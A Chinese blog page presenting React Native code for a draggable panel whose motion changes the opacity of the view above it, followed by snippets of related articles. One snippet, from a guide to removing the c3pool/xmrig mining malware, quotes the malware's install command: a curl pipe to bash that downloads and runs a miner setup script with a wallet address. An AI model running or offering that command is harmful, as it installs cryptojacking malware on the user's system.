RN向上向下滑动组件封装(带有渐变色)
这段组件代码逻辑是出事有一个View和下面的块,下面的块也就是红色区域可以按住向上向下滑动,当滑动到屏幕最上面则停止滑动,再向上滑动的过程中,上方的View的背景色也会有个渐变效果,大概逻辑就是这样
代码如下
import React, {useEffect, useRef, useState} from 'react';
import {View,PanResponder,Animated,StyleSheet,SafeAreaView,Dimensions,Text,
} from 'react-native';const App = () => {const [colors, setColors] = useState('rgba(237, 36, 46, 1)');const scrollY = useRef(new Animated.Value(300)).current;const currentHeight = useRef(300);const panResponder = useRef(PanResponder.create({onStartShouldSetPanResponder: () => true,onPanResponderMove: (evt, gestureState) => {const newHeight = currentHeight.current - gestureState.dy;const clampedHeight = Math.min(Math.max(newHeight, 0),Dimensions.get('window').height,);scrollY.setValue(clampedHeight);},onPanResponderRelease: () => {currentHeight.current = scrollY._value;},}),).current;useEffect(() => {const listener = scrollY.addListener(({value}) => {// console.log('ScrollY value changed:', value); // animail处的高度// console.log('Dimensions.get().height', Dimensions.get('window').height); // 设备总高度console.log('上方View的高度等于总高度-下方animail的高度',Dimensions.get('window').height - value,);// 因为我这里需求是给View一个完整颜色,根据rgba值从0到1显示,因此我要将上面高度分成100份// 向上或者向下减少多少份 当前高度-总高度const nums =(Dimensions.get('window').height - value) /(Dimensions.get('window').height - 300);// 设置颜色setColors('rgba(237,36,46,' + nums + ')');});// 在组件卸载时移除监听器return () => {scrollY.removeListener(listener);};}, []);return (<View style={styles.container}><Viewstyle={{backgroundColor: colors,width: 300,height: 50,}}></View><Animated.Viewstyle={[styles.box,{height: scrollY.interpolate({inputRange: [0, 600],outputRange: [0, 600],}),backgroundColor: 'red',},]}{...panResponder.panHandlers}><SafeAreaView>{/* 占位内容 */}<Text>1111</Text></SafeAreaView></Animated.View></View>);
};const styles = StyleSheet.create({container: {flex: 1,},box: {position: 'absolute',bottom: 0,left: 0,right: 0,},
});export default App;
效果图
初始效果

当往上滑动时效果

可以看出滑动过程中上方块的背景色被改变了,我这个块当顶部就停止滑动了
下面是我项目里面需要用的效果,当到顶部时会把背景做个替换,这个也就是在代码里面的nums为0时,就是顶部可以在那里去做背景替换

相关文章:
RN向上向下滑动组件封装(带有渐变色)
这段组件代码逻辑是出事有一个View和下面的块,下面的块也就是红色区域可以按住向上向下滑动,当滑动到屏幕最上面则停止滑动,再向上滑动的过程中,上方的View的背景色也会有个渐变效果,大概逻辑就是这样 代码如下 import React, {useEffect, useRef, useState} from react; impo…...
27、Lua 学习笔记之五(Lua中的数学库)
Lua中的数学库 Lua5.1中数学库的所有函数如下表: math.pi 为圆周率常量 3.14159265358979323846 数学库说明例子方法abs取绝对值math.abs(-15)15acos反余弦函数math.acos(0.5)1.04719755asin反正弦函数math.asin(0.5)0.52359877atan2x / y的反正切值math.atan2(9…...
【C++成长记】C++入门 | 类和对象(中) |拷贝构造函数、赋值运算符重载、const成员函数、 取地址及const取地址操作符重载
🐌博主主页:🐌倔强的大蜗牛🐌 📚专栏分类:C❤️感谢大家点赞👍收藏⭐评论✍️ 目录 一、拷贝构造函数 1、概念 2、特征 二、赋值运算符重载 1、运算符重载 2、赋值运算符重载 3、前置…...
OpenHarmony实战开发-页面深色模式适配。
介绍 本示例介绍在开发应用以适应深色模式时,对于深色和浅色模式的适配方案,采取了多种策略如下: 1. 固定属性适配:对于部分组件的颜色属性,如背景色或字体颜色,若保持不变,可直接设定固定色值…...
域名解析出现错误,该如何解决?
域名作为网络地址,是我们访问网站的必经之路,域名解析就是把你的域名解析成一个ip地址,在使用的过程中遇到域名解析文件异常也是常有的事。如果域名解析出现错误,该怎么解决呢? 一、打开网页时,显示域名解析…...
从iPhone恢复已删除照片的最佳软件
本文分享了从iPhone恢复已删除照片的最佳软件。如果您正在寻找如何从iPhone恢复已删除的照片,请查看这篇文章。 为什么您需要软件从iPhone恢复已删除的照片? 没有什么比丢失iPhone上的重要数据更痛苦的了,尤其是一些具有珍贵回忆的照片。有时…...
MySQL模糊查询
一、MySQL通配符模糊查询(%,_) 1.1.通配符的分类 1.“%”百分号通配符:表示任何字符出现任意次数(可以是0次) 2.“_”下划线通配符:表示只能匹配单个字符,不能多也不能少,就是一个字符。当然…...
QEMU_v8搭建OP-TEE运行环境
文章目录 一、依赖下载二、设置网络三、安装下载四、运行OP-TEE 一、依赖下载 更新依赖包,下载一系列依赖。比如Python需要Python3.x版本,需要配置git的用户名和邮箱等。这里不详细展开了,很多博客都有涉及到。 二、设置网络 这一点非常重…...
C++11 设计模式0. 设计模式的基本概念,设计模式的准则,如何学习设计模式,24种设计模式的分为3大类
一 设计模式的基本概念: 模式:指事物的标准样式 或者 理解成 针对特定问题的可重用解决方案。 设计模式,是在特定问题发生时的可重用解决方案。 设计模式一般用于大型项目中。 大型项目中,设计模式保证所设计的模块之间代码的灵…...
(十)C++自制植物大战僵尸游戏设置功能实现
植物大战僵尸游戏开发教程专栏地址http://t.csdnimg.cn/m0EtD 游戏设置 游戏设置功能是一个允许玩家根据个人喜好和设备性能来调整游戏各项参数的重要工具。游戏设置功能是为了让玩家能够根据自己的需求和设备性能来调整游戏,以获得最佳的游戏体验。不同的游戏和平…...
数据结构——通讯录(顺序表的实战项目)
(—).通讯录的功能 大家应该都十分了解通讯录的功能吧,无非就是对联系人的增添删除,还有信息的修改,并且联系人信息要包含名字,电话,性别,地址等。我把通讯录的功能总结如下&#x…...
数据库-Redis(14)
目录 66.Redis为什么主从全量复制使用RDB而不是使用AOF? 67.Redis为什么还有无磁盘复制模式? 68.Redis为什么还会有从库的从库设计?...
Thinkphp5.0命令行创建验证器validate类
前言 最近接手了个用FastAdmin(基于tp5)写的项目,发现命令行只提供生成controller和model的命令,没有提供make:validate命令,而5.1及以上版本是有的,对于使用tp5.0框架或者基于tp5.0的第三框架(…...
人民网至顶科技:《开启智能新时代:2024中国AI大模型产业发展报告发布》
3月26日,人民网财经研究院与至顶科技联合发布《开启智能新时代:2024年中国AI大模型产业发展报告》。该报告针对AI大模型产业发展背景、产业发展现状、典型案例、挑战及未来趋势等方面进行了系统全面的梳理,为政府部门、行业从业者以及社会公…...
AI大模型探索之路-应用篇13:企业AI大模型选型指南
目录 前言 一、概述 二、有哪些主流模型? 三、模型参数怎么选? 四、参数有什么作用? 五、CPU和GPU怎么选? 六、GPU和显卡有什么关系? 七、GPU主流厂商有哪些? 1、NVIDIA芯片怎么选? 2、…...
【安全】查杀linux上c3pool挖矿病毒xmrig
挖矿平台:猫池 病毒来源安装脚本 cat /root/c3pool/config.jsoncrontab -r cd /root/c3poolcurl -s -L http://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALLen_US.UTF-8 bash -s 44SLpuV4U7gB6RNZMCweHxWug7b1YUir4jLr3RBaVX33Qxj…...
车载测试:UDS之BootLoader刷写
BootLoader刷写 本文章是花费3小时结合多个项目实践总结和整体出来的,欢迎大家交流! BootLoader刷写章节 ①:预编程步骤流程流程图 1.1 概述 1.2 流程步骤描述 1)整车ECU进入扩展会话 2)刷…...
OpenHarmony实战开发-MpChart图表实现案例。
介绍 MpChart是一个包含各种类型图表的图表库,主要用于业务数据汇总,例如销售数据走势图,股价走势图等场景中使用,方便开发者快速实现图表UI。本示例主要介绍如何使用三方库MpChart实现柱状图UI效果。如堆叠数据类型显示…...
brpc: bthread使用
使用bthread并发编程 #include <gflags/gflags.h> #include <butil/logging.h> #include <bthread/bthread.h>static void* func(void* args) {std::string* num static_cast<std::string*>(args);for(int i 0; i < 5; i) {LOG(INFO) << *…...
H.265视频直播点播录像EasyPlayer.js流媒体播放器用户常见问题及解答
EasyPlayer属于一款高效、精炼、稳定且免费的流媒体播放器,可支持多种流媒体协议播放,无须安装任何插件,起播快、延迟低、兼容性强,使用非常便捷。 今天我们来汇总下用户常见的几个问题及解答。 1、EasyPlayer.js播放多路H.265视…...
linux之kylin系统nginx的安装
一、nginx的作用 1.可做高性能的web服务器 直接处理静态资源(HTML/CSS/图片等),响应速度远超传统服务器类似apache支持高并发连接 2.反向代理服务器 隐藏后端服务器IP地址,提高安全性 3.负载均衡服务器 支持多种策略分发流量…...
dedecms 织梦自定义表单留言增加ajax验证码功能
增加ajax功能模块,用户不点击提交按钮,只要输入框失去焦点,就会提前提示验证码是否正确。 一,模板上增加验证码 <input name"vdcode"id"vdcode" placeholder"请输入验证码" type"text&quo…...
ServerTrust 并非唯一
NSURLAuthenticationMethodServerTrust 只是 authenticationMethod 的冰山一角 要理解 NSURLAuthenticationMethodServerTrust, 首先要明白它只是 authenticationMethod 的选项之一, 并非唯一 1 先厘清概念 点说明authenticationMethodURLAuthenticationChallenge.protectionS…...
Springcloud:Eureka 高可用集群搭建实战(服务注册与发现的底层原理与避坑指南)
引言:为什么 Eureka 依然是存量系统的核心? 尽管 Nacos 等新注册中心崛起,但金融、电力等保守行业仍有大量系统运行在 Eureka 上。理解其高可用设计与自我保护机制,是保障分布式系统稳定的必修课。本文将手把手带你搭建生产级 Eur…...
Robots.txt 文件
什么是robots.txt? robots.txt 是一个位于网站根目录下的文本文件(如:https://example.com/robots.txt),它用于指导网络爬虫(如搜索引擎的蜘蛛程序)如何抓取该网站的内容。这个文件遵循 Robots…...
【python异步多线程】异步多线程爬虫代码示例
claude生成的python多线程、异步代码示例,模拟20个网页的爬取,每个网页假设要0.5-2秒完成。 代码 Python多线程爬虫教程 核心概念 多线程:允许程序同时执行多个任务,提高IO密集型任务(如网络请求)的效率…...
AirSim/Cosys-AirSim 游戏开发(四)外部固定位置监控相机
这个博客介绍了如何通过 settings.json 文件添加一个无人机外的 固定位置监控相机,因为在使用过程中发现 Airsim 对外部监控相机的描述模糊,而 Cosys-Airsim 在官方文档中没有提供外部监控相机设置,最后在源码示例中找到了,所以感…...
【C++进阶篇】智能指针
C内存管理终极指南:智能指针从入门到源码剖析 一. 智能指针1.1 auto_ptr1.2 unique_ptr1.3 shared_ptr1.4 make_shared 二. 原理三. shared_ptr循环引用问题三. 线程安全问题四. 内存泄漏4.1 什么是内存泄漏4.2 危害4.3 避免内存泄漏 五. 最后 一. 智能指针 智能指…...
快刀集(1): 一刀斩断视频片头广告
一刀流:用一个简单脚本,秒杀视频片头广告,还你清爽观影体验。 1. 引子 作为一个爱生活、爱学习、爱收藏高清资源的老码农,平时写代码之余看看电影、补补片,是再正常不过的事。 电影嘛,要沉浸,…...
HubSpot推出与ChatGPT的深度集成引发兴奋与担忧
上周三,HubSpot宣布已构建与ChatGPT的深度集成,这一消息在HubSpot用户和营销技术观察者中引发了极大的兴奋,但同时也存在一些关于数据安全的担忧。 许多网络声音声称,这对SaaS应用程序和人工智能而言是一场范式转变。 但向任何技…...
